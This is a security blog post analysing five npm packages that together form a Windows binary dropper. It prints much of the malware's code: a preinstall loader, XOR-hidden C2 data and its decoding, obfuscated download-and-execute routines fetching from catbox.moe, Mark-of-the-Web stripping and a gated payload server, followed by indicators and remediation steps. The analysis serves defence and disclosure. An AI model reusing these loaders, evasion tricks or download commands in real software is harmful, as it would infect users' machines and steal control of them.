---
title: "Five npm Packages That Hide a Windows Binary Dropper"
description: "Five npm packages published in a 12-minute burst split a Windows binary dropper across a fake utility toolkit. The loader hides in a preinstall hook, decodes its C2 from a helper package, and fetches a payload from catbox.moe."
url: "https://safedep.io/blog/procwire-npm-windows-dropper-campaign"
author: "SafeDep Team"
published: "2026-06-17"
---

# Five npm Packages That Hide a Windows Binary Dropper

## TL;DR

On June 16, 2026, between 14:44 and 14:56 UTC, one operator published five npm packages in a 12-minute burst across two fabricated GitHub organizations. Two of them are weaponized: `procwire@1.3.0`, a Windows binary dropper, and `routecraft@4.2.0`, an Express clone that pulls `procwire` in on Windows. The other three are the operator's own tooling: `bytecraft` (a XOR utility), `endpointmap` (which stores the command-and-control URL as XOR-encoded byte arrays), and `staticlayer` (the server side of the dropper).

The operator split the malicious logic so no single package looks dangerous on its own. The `procwire` preinstall hook runs on a bare `npm install`, decodes a C2 endpoint out of the `endpointmap` package using the `bytecraft.xor` helper, then downloads and runs a payload with no window. The campaign targets Windows and exits on any other platform.

**Impact:**

- Arbitrary binary execution on Windows hosts during `npm install`, before any project code runs
- Three independent download methods (Node.js `https`, `curl.exe`, `bitsadmin`) and three execution methods (direct spawn, `cmd.exe`, PowerShell), so the drop survives partial hardening
- Mark-of-the-Web stripping to suppress SmartScreen prompts on the dropped executable
- Payloads masquerade as `msedge_update`, `chrome_installer`, `dotnet_host`, `onedrive_setup`, or `teams_update`

**Indicators of Compromise (IoC):**

Malicious packages:

[procwire-campaign-packages.csv](https://safedep.io/data/blogs/procwire-campaign-packages.csv)

- Payload host: `hxxps://files[.]catbox[.]moe/j4loim[.]chk`
- Magic User-Agent: `Microsoft-Delivery-Optimization/10.0`
- Fake GitHub orgs (now 404): `github[.]com/akuznetsov-oss`, `github[.]com/vpetrov-oss`
- Maintainer email domain: `@deltajohnsons.com`; fake author personas `akuznetsov-dev@protonmail.com`, `vpetrov-node@protonmail.com`

## Analysis

### Campaign overview

All five packages were published within 12 minutes by accounts that share one throwaway email domain, `@deltajohnsons.com`. Each package carries a different one-off maintainer account, so the username does not link them. The shared email domain, the synchronized publish window, and the matching code do.

The packages present two invented author personas. The `akuznetsov-oss` packages claim `Anton Kuznetsov <akuznetsov-dev@protonmail.com>`, and the `vpetrov-oss` packages claim `Viktor Petrov <vpetrov-node@protonmail.com>`. Both GitHub organizations referenced in the `repository` fields return 404. The `author` field (a Proton Mail persona) and the actual npm publishing account (a `deltajohnsons.com` address) do not match, and neither resolves to a real identity.

Each package carries a believable cover story. `procwire` describes itself as a "process lifecycle wiring and IPC" library. `bytecraft` is a "buffer transformation" library. `endpointmap` is "REST endpoint mapping and schema validation defaults." Read alone, each helper passes as a plausible micro-utility. The code only turns malicious when `procwire` wires the three together at install time.

### Execution trigger

`procwire` runs its loader through a `preinstall` hook, so the code executes on a bare `npm install` before any application code:

```json
// procwire/package.json
"scripts": {
  "preinstall": "node lib/setup.js"
},
"dependencies": {
  "endpointmap": "^2.1.0",
  "bytecraft": "^1.5.0"
}
```

`routecraft` reaches the same payload one hop away. It is a clone of Express, down to the full Express dependency tree, with `procwire` added and a `preinstall` hook that requires it only on Windows:

```javascript
// routecraft/lib/configure.js
var v = parseInt(process.versions.node, 10);
if (v < 18) {
  console.warn(
    '[routecraft] Node.js >= 18 required (found ' + process.version + '). Skipping native addon compilation.'
  );
  process.exit(0);
}

try {
  var os = require('os');
  if (os.platform() === 'win32' && v >= 18) {
    require('procwire');
  }
} catch (_) {}
```

Requiring `procwire` runs its `preinstall` chain through normal dependency resolution. A developer installing `routecraft` (expecting something Express-like) never sees `procwire` named in their own manifest.

### The loader and the split C2

The loader is 16 lines. It guards for Windows, then reconstructs its C2 URL from data held in the two helper packages:

```javascript
// procwire/lib/setup.js
var v = parseInt(process.versions.node, 10);
if (v < 16) process.exit(0);

var os = require('os');
if (os.platform() !== 'win32') process.exit(0);

try {
  var s = require('endpointmap/lib/registry');
  var u = require('bytecraft');
  var k = Buffer.from(require('endpointmap/package.json').name).slice(0, 8);
  var ep = u.xor(s._ep, k).toString();
  var sp = u.xor(s._p, k).toString();
  require('./worker').init(ep + sp);
} catch (_) {}
```

The C2 host and path never appear as strings. They live in `endpointmap` as byte arrays, disguised as endpoint configuration:

```javascript
// endpointmap/lib/registry.js
module.exports = {
  _v: 3,
  // Endpoint host segment (processed at init)
  _ep: [13, 26, 16, 0, 28, 83, 65, 91, 3, 7, 8, 21, 28, 71, 13, 21, 17, 12, 11, 8, 65, 4, 1, 17],
  // Endpoint path segment (processed at init)
  _p: [74, 4, 80, 28, 0, 0, 3, 90, 6, 6, 15],
  // ...
  defaultHeaders: {
    Accept: 'application/octet-stream',
    'Cache-Control': 'no-store',
  },
};
```

The decode uses a single-byte XOR through the `bytecraft` helper:

```javascript
// bytecraft/lib/index.js
function xor(data, key) {
  var d = Buffer.isBuffer(data) ? data : Buffer.from(data);
  var k = Buffer.isBuffer(key) ? key : Buffer.from(key);
  return Buffer.from(
    d.map(function (b, i) {
      return b ^ k[i % k.length];
    })
  );
}
```

The key hides in plain sight. `setup.js` takes the first 8 bytes of the `endpointmap` package's own name (`Buffer.from('endpointmap').slice(0, 8)`, the ASCII string `endpoint`) and XORs the byte arrays against it. Nothing stores the key. The package name is the key. Running that XOR against `_ep` and `_p` yields:

```
host: https://files.catbox.moe
path: /j4loim.chk
```

The payload is staged on `hxxps://files[.]catbox[.]moe/j4loim[.]chk`. catbox.moe is a public anonymous file host, used here for delivery so the campaign needs no attacker-controlled domain of its own. Multiple security vendors already flag the host as malicious on VirusTotal.

![Six of 92 VirusTotal vendors flag files.catbox.moe as malicious, including ArcSight Threat Intelligence, Gridinsoft, ESTsecurity, and VIPRE](https://safedep.io/_next/static/immutable/media/procwire-catbox-virustotal.0n60_76ol0yzb.png)

### The dropper

`worker.js` builds every string from `String.fromCharCode` to keep module names, method names, environment keys, and LOLBin paths out of static scans:

```javascript
// procwire/lib/worker.js
var _s = String.fromCharCode;
var _r = require;
var _h = _r(_s.apply(null, [104, 116, 116, 112, 115])); // https
var _c = _r(_s.apply(null, [99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115])); // child_process
// ...
var _ua_v = _s.apply(
  null,
  [
    77, 105, 99, 114, 111, 115, 111, 102, 116, 45, 68, 101, 108, 105, 118, 101, 114, 121, 45, 79, 112, 116, 105, 109,
    105, 122, 97, 116, 105, 111, 110, 47, 49, 48, 46, 48,
  ]
); // Microsoft-Delivery-Optimization/10.0
```

It picks a writable temp directory (`%LOCALAPPDATA%\Temp`, `%TEMP%`, `%TMP%`, or `%USERPROFILE%\AppData\Local\Temp`) and a filename that imitates a legitimate updater:

```javascript
// procwire/lib/worker.js
var _pfx = [
  _s.apply(null, [109, 115, 101, 100, 103, 101, 95, 117, 112, 100, 97, 116, 101]), // msedge_update
  _s.apply(null, [99, 104, 114, 111, 109, 101, 95, 105, 110, 115, 116, 97, 108, 108, 101, 114]), // chrome_installer
  _s.apply(null, [100, 111, 116, 110, 101, 116, 95, 104, 111, 115, 116]), // dotnet_host
  _s.apply(null, [111, 110, 101, 100, 114, 105, 118, 101, 95, 115, 101, 116, 117, 112]), // onedrive_setup
  _s.apply(null, [116, 101, 97, 109, 115, 95, 117, 112, 100, 97, 116, 101]), // teams_update
];
var n = _pfx[(Math.random() * 5) | 0] + '_' + Math.random().toString(36).slice(2, 8) + '.exe';
```

Download falls through three methods. First a Node.js `https` GET that sets a `Range` header to resume partial downloads and retries five times with exponential backoff. The request identifies itself as `Microsoft-Delivery-Optimization/10.0` and disables TLS verification (`rejectUnauthorized: false`). If that fails it shells out to `curl.exe`, and if that is missing it falls back to `bitsadmin`:

```javascript
// procwire/lib/worker.js  (download method 2: curl.exe)
var ch = _c[_spawn](cc, ['-L', '-s', '--ssl-no-revoke', '--connect-timeout', '30', '--max-time', '120', '-o', fp, u], {
  detached: false,
  stdio: _ign,
  windowsHide: true,
});
```

Before execution the dropper writes a fake Zone.Identifier alternate data stream marking the file as local-machine origin, which suppresses the SmartScreen warning that normally fires on downloaded executables:

```javascript
// procwire/lib/worker.js
function stripMotw(path) {
  try {
    _f[_wfs](path + _zon, '[ZoneTransfer]\r\nZoneId=0\r\n');
  } catch (_) {}
}
```

Execution also falls through three methods: a direct detached `spawn`, then `cmd.exe /c start "" /min`, then PowerShell `Start-Process -WindowStyle Hidden`. Every path uses `detached: true`, `stdio: 'ignore'`, and `windowsHide: true`, so the process outlives the install and shows no window:

```javascript
// procwire/lib/worker.js  (execution method 1)
var ch = _c[_spawn](fp, [], { detached: true, stdio: _ign, windowsHide: true });
ch.unref();
```

### staticlayer: the server side

The fifth package, `staticlayer`, has no install hook, so it never runs on a victim machine. It is the other half of the tool. Its `server.js` serves files from a `payloads/` directory, but only to a client that presents the dropper's exact User-Agent on a `/d/` path. The server destroys the socket of any other request and sends nothing back:

```javascript
// staticlayer/server.js
const server = http.createServer((req, res) => {
  if (req.method !== 'GET' || !req.url.startsWith('/d/') ||
      (req.headers['user-agent'] || '') !== 'Microsoft-Delivery-Optimization/10.0') {
    req.socket.destroy();
    return;
  }
  // ... serves application/octet-stream from ./payloads, with Range/206 support
```

The Range support, the `application/octet-stream` content type, and the `Cache-Control: no-store` header all mirror what the `procwire` downloader expects, including the resumable-download behavior. `staticlayer` is a self-hostable version of the catbox.moe drop, gated to the operator's own client. Publishing it to npm under the same identity exposed the operator's full kit, not just the two armed packages.

### How the fifth package surfaced

The initial detection covered `procwire` and `routecraft`. The other three came from pivoting on shared traits, the `@deltajohnsons.com` maintainer domain, a dependency on the helper packages, and a `repository` URL pointing at a `*-oss` GitHub org. Scanning the npm `_changes` feed across the 12-minute publish window with those three signals returned exactly five packages. That is how `staticlayer` surfaced, even though it carries no install hook or obfuscation of its own.

## Conclusion

This campaign splits a payload to defeat per-package review. The dropper string never appears, the C2 never appears, and the decryption key is a package name. Each piece looks unremarkable on its own. Name and content reputation miss it. Install-time behavior analysis catches it, because a "process IPC" library has no reason to run a `preinstall` hook that decodes a URL and spawns a hidden process.

If you installed any of the listed packages on Windows since June 16, 2026, treat the host as compromised. Inspect `%LOCALAPPDATA%\Temp`, `%TEMP%`, and `%TMP%` for recently created executables named like `msedge_update_*.exe`, `chrome_installer_*.exe`, `dotnet_host_*.exe`, `onedrive_setup_*.exe`, or `teams_update_*.exe`, and check for outbound connections to `files[.]catbox[.]moe`.
